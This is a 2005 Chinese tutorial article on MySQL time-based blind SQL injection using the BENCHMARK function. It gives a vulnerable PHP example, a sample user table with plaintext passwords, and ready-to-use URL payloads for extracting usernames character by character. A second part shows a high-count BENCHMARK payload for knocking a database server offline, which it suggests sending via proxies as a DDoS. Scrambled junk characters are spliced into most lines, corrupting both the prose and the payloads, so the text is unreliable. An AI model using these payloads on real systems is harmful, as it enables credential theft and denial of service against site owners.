MYSQL中BENCHMARK函数的利用 . N* Q, W4 n& {( p$ ^2 ^
本文作者:SuperHei' N& b; j: c: o' j' J6 x
文章性质:原创5 L# `+ T/ R( n. ?% r8 o: D
发布日期:2005-01-02. g2 A5 v4 T$ N# z
完成日期:2004-07-09
1 _' @! ^; ]& n# Y第一部
. S( j- R+ u- e8 M( f/ |9 i. }. {+ U* Q- |7 n# ~; k7 c: P
利用时间推延进行注射---BENCHMARK函数在注射中的利用 ; [5 f4 P( {+ G
1 H: ?5 k+ `: _- w+ k. D+ O( y一.前言/思路* o; w) a6 O; N5 ]
9 F! w, W0 Q+ ~. [( i 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。# K* d9 h' C7 N1 O% F
]& s. |- u( @4 U! Q; z
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
! L6 }6 n. _0 R4 o. x
( D; f8 `. m% L2 ?; r5 X二.关于BENCHMARK函数
' y- e, O3 M- U, V9 ~3 ? W$ V- b# x% b P; y
在MySQL参考手册里可以看到如下描叙: ; h3 x* d4 o% G7 Y0 @
* x$ i; z, F! L$ I; ~2 S1 z
0 O7 ? M: Y6 J6 r( i, f' s: B- J--------------------------------------------------------------------------------" e+ c' h& o8 J$ t# H9 d
1 L0 c, I* [, ]: O* b( o, c) y' D) nBENCHMARK(count,expr) E) @- N7 q5 R
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 7 ]/ r# Q7 \; v9 s4 ]; l
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
p* z" a& l8 I9 N) t3 Z+----------------------------------------------+
7 \8 n. q8 E" b| BENCHMARK(1000000,encode("hello","goodbye")) |
9 {% p' n5 o( u( t6 b+----------------------------------------------+
" k* k! U( n6 B, x| 0 | ; n7 L8 Z$ F, f i
+----------------------------------------------+ 0 E0 f0 V x8 p4 n6 f7 Q
1 row in set (4.74 sec)
2 Y2 m' j( J' f2 W) R; h
6 B; ^* M1 e6 }' k- C/ `报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
) \/ ?9 w t4 y( a! P
* p4 |/ l7 k4 o' Y) p2 u a: S/ c: [( x6 A
--------------------------------------------------------------------------------
7 S Y+ ^3 j7 K/ ^/ ^' p3 k; [& I6 x
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
% K/ j; m- W( I
C! `8 k/ g* T3 Imysql> select md5( 'test' ); - j0 q% P8 b1 k" D
+----------------------------------+ 0 R1 M' \. c: A6 g* E3 Z: B7 E- b
| md5( 'test' ) |
1 }$ h0 D% c" j+----------------------------------+ 8 Y+ ?& y, n9 B5 L
| 098f6bcd4621d373cade4e832627b4f6 | m: w5 I2 p; u8 f1 p) h9 D5 \
+----------------------------------+ & c- D ^0 d* M$ M, z
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ( |. `1 `. S" [4 ^. A% M
5 g* [7 e3 a! B9 T( _* k6 j& R4 C
mysql> select benchmark( 500000, md5( 'test' ) ); 1 B7 g8 n# d; x3 Q& h
+------------------------------------+
x9 N! V5 Q6 c! `( n| benchmark( 500000, md5( 'test' ) ) |
7 r0 B- F( D8 X" s5 X0 v+------------------------------------+
1 w: \7 U$ h8 B: `9 k| 0 | * b3 B. |0 e: S" T ?0 m) c
+------------------------------------+
: O2 o- L! }% K/ c* _6 i2 |1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
! D# x+ N {- t* X, M
% F, N- ^ A/ ?' v" r! ]0 a7 @# ^9 X, l' V1 t: T' T6 \( w) [/ |
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 1 \8 P; ?6 E5 \' L8 d! ]3 F& x
3 x1 {( R8 i9 I/ H* k" s4 D
三.具体例子7 |1 m7 |5 |3 b: i) c$ s/ ]
* e* D3 A) i$ J2 i
首先我们看个简单的php代码:
6 u0 h: o7 }; w+ b9 V! R m6 F! [
< ?php 5 \+ n% g) v6 }% ?
$servername = "localhost";
4 o& D* b5 p% f4 {0 R% d8 L8 V$dbusername = "root";
1 ?- x$ X9 [, [$dbpassword = ""; F- x4 G0 c6 ~; Y* g0 k
$dbname = "injection"; * j, m6 _2 v6 [8 R5 H
; _- Q2 A: N- c ]6 a( v
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); / `; o5 d/ `4 K2 ?6 z v( M
8 F7 }8 a, t3 I
$sql = "SELECT * FROM article WHERE articleid=$id";
% t9 G b d2 f% p6 R, U$result = mysql_db_query($dbname,$sql);
* }% t! l% ~. k4 v J, y$row = mysql_fetch_array($result);
$ G+ ~/ ^3 W- M( u5 l9 ` |2 s( t/ [3 W9 D
if (!$row) 1 p* W( D! j% Z0 i/ \, H
{ * u7 A4 M( m% ]5 ]5 ^/ `
exit;
& H0 Z4 C; C f* d6 ~} ; y# G& l* g8 }1 N9 c
?>4 V4 w$ H3 T5 Y3 x- R
- m4 h- o9 S3 W9 n
% N" g' w9 `, p8 H0 x! y' O: c( o 数据库injection结构和内容如下:
' {: C0 |- z/ e) l$ h& m; W; q6 i, s6 L! I6 C& z
# 数据库 : `injection` ) Q5 }& k+ q9 G& r: C6 k& k
#
6 c& X2 X9 A( E
) t8 [* b- u; ^( S# --------------------------------------------------------
6 z. G. ~; M! \! H3 i- C6 B- V) t
- O! I' ?, ` D9 r' w3 ?#
( @. H, k0 s! x6 a+ B" q1 p# 表的结构 `article`
/ p+ W4 z# _2 q0 ]1 X4 i#
. A0 v! B7 J, i7 Z
+ N; D) R+ k0 m+ BCREATE TABLE `article` ( + @. ]+ |6 [! l2 Q% [6 H! i
`articleid` int(11) NOT NULL auto_increment,
# F1 q8 g/ k9 ]/ x' j`title` varchar(100) NOT NULL default '', 3 @+ d0 v* U9 @) g+ @5 K/ l4 f
`content` text NOT NULL,
$ ?# e% [9 j3 x( N7 a# M! BPRIMARY KEY (`articleid`)
( N: v1 s" V# f4 E$ Q) TYPE=MyISAM AUTO_INCREMENT=3 ;
; {8 F; Z: \# n0 B% Y
" A6 u& n; ]0 I+ A# $ `4 {* k' R4 y5 x$ O4 J: j- P
# 导出表中的数据 `article` 3 n$ o8 E' y: p8 N! V9 i
#
. ]7 I' P# ?+ F" Y3 |# i L7 W" B& V: {8 w
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); / z, q" }4 A4 _5 t
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ! F: q X& m! B; v9 L
3 p3 `4 c) p8 `) w' W' }
# -------------------------------------------------------- ! W- G* m; m5 ^( b Q7 q1 [
5 b3 |4 ?) I, |( X, L9 I: w# , M* u7 U2 _7 g, v
# 表的结构 `user`
$ R, e. v5 c, I6 w' w& [#
5 J: A# d% E( v3 t
, b) ^7 a2 v2 P4 e8 LCREATE TABLE `user` (
& p5 N4 H0 l, B' t$ n1 i`userid` int(11) NOT NULL auto_increment,
+ ^4 w4 q9 V h2 l9 E5 |! K`username` varchar(20) NOT NULL default '', : H) `1 n0 f. ^8 N
`password` varchar(20) NOT NULL default '',
0 x" \ A g& [+ _, LPRIMARY KEY (`userid`) # f* p. N ?& Z; b
) TYPE=MyISAM AUTO_INCREMENT=3 ;
1 G/ t* b3 g9 _# F @( s5 M o) K/ P" ]& w
#
" `6 G0 H- o7 D8 a. h$ V# 导出表中的数据 `user` . u' d" k" }& q8 |6 E* P7 ~0 c+ q
#
$ ~1 A. W+ i( J) z/ n$ t7 p) v7 @/ [( B. F& z$ e( ^
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); . z- h+ R" H: |- t, Y7 ]8 Z5 s1 s. a
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');, G' A, W* q5 d3 J
! h4 j$ [/ h) k9 }8 Y ^! B% @) d! w3 `+ q
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:6 M1 Z/ ~: g+ }/ k' n
) `! r9 z' C+ f5 j3 B. m# eid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*5 ]6 v) G5 i( r: e; }$ t7 U. ~
; e- U$ `+ F3 D: {/ L
/ X3 G0 \, M" v- v- Y8 W' g8 Q 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
3 `0 {9 A4 d3 N6 w
: K$ ?" d! x ^: ?9 w# Lhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
. D! f0 d( ^& G$ m5 ]( Z . F! r n0 x" V* z' t% a& ^
! G- H/ u3 Z) J% `5 B7 _* V4 r
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
1 N, L J" t2 Y o* E/ ?/ y5 q. \- p
& d+ n5 S/ ]& \, B2 r! i5 R' ? 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 * W, [. ^% x4 L, p, M+ R
. G" H* h; i4 U5 b3 d d/ u
第二部
( i; x2 v. {6 T. e U6 b. p
( S9 {, }% _# W0 G9 T9 v' l- B X利用BENCHMARK函数进行ddos攻击
. F3 |. q' _+ I5 t
9 F3 V& [+ p9 ^. s 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:& B% P7 N, f2 U( ]0 k. Z8 u
1 {* s+ i& | k' ~ X8 Z4 chttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))$ S/ L5 y- Q$ p" P* _, o. F( p+ S
& y: v+ }! @: q$ m0 F" o6 B
" L! V9 }; p! U小结
' E% }2 N) R* G3 M) \3 p f f. K+ o, @ G0 `
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。" }' M; X5 L; t9 @. Q4 c7 v
8 w8 n' s2 P7 ? # E' m* ~6 u2 N: {
|